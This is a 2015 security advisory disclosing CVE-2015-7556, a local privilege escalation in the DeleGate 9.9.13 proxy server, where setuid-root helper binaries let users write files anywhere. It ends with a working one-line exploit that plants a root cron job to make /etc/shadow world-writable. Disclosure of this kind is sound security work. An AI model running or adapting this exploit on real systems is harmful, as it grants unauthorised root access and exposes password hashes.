DeleGate 9.9.13 Local Root

`Title: Local root vulnerability in DeleGate v9.9.13  
Author: Larry W. Cashdollar, @_larry0  
Date: 2015-12-17  
Advisory: http://www.vapidlabs.com/advisory.php?v=159  
Download Sites: http://delegate.hpcc.jp/delegate/   
http://delegate.org/delegate/  
Vendor: National Institute of Advanced Industrial Science and Technology  
Vendor Notified: 2015-12-17  
Vendor Contact: [email protected] [email protected]  
Description: DeleGate is a multipurpose proxy server which relays   
various application protocols on TCP/IP or UDP/IP, including HTTP, FTP,   
Telnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and   
more. DeleGate mediates communication between servers and clients where   
direct communication is impossible, inefficient, or inconvenient.  
  
Vulnerability:  
Installation of delegate 9.9.13 sets some binaries setuid root, at least   
one of these binaries can be used to escalate the privileges of a local   
user. The binary dgcpnod creates a node allowing a local unprivileged   
user to create files anywhere on disk. By creating a file in   
/etc/cron.hourly a local user can execute commands as root.  
  
Installation of software via source or binary distribution with option   
to not run as root results in a script set-subin.sh to run setting the   
setuid bit on four binaries. In Linux distributions where this software   
is part of the package list these binaries are not setuid root. (archlinux)  
  
From documentation http://www.delegate.org/delegate/newbies-ja.shtml   
(translated to english):  
Go is included in the binary distribution, or DGROOT that you can build   
from the source to the location of preference, and then change the name   
if necessary. This is the DgRoot. In addition, if needed, you can rename   
the executable file of DeleGate to the name of the preference. This is   
the DgExe.  
"In Unix version subin in if you want to use "(such as when using a   
privileged port), do the following.  
  
(3-2uk) $ cd DgRoot / subin  
$ Sh setup-subin.sh  
  
larry@f4ult:~/dg9_9_13/DGROOT/subin$ ls -l  
total 1916  
-r-sr-s--- 1 root larry 384114 Oct 31 2014 dgbind  
-r-sr-s--- 1 root larry 384598 Oct 31 2014 dgchroot  
-r-sr-s--- 1 root larry 384161 Oct 31 2014 dgcpnod  
-rwxr-xr-x 1 larry larry 384114 Oct 31 2014 dgdate  
-rwxr-xr-x 1 larry larry 29066 Oct 31 2014 dgforkpty  
-r-sr-s--- 1 root larry 384113 Oct 31 2014 dgpam  
-rwxr-x--- 1 larry larry 272 Oct 27 2014 setup-subin.sh  
  
This script sets the setuid bit on four binaries:  
  
larry@f4ult:~/dg9_9_13/DGROOT/subin$ cat setup-subin.sh  
#!/bin/sh  
  
SUBINS="dgpam dgbind dgchroot dgcpnod"  
sudo sh -c "chown root $SUBINS; chmod 6550 $SUBINS"  
if [ $? != 0 ]; then  
su root -c "chown root $SUBINS; chmod 6550 $SUBINS"  
fi  
CVEID: 2015-7556  
Exploit Code:  
$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme   
/etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow'   
> /etc/cron.hourly/rootme  
  
  
  
`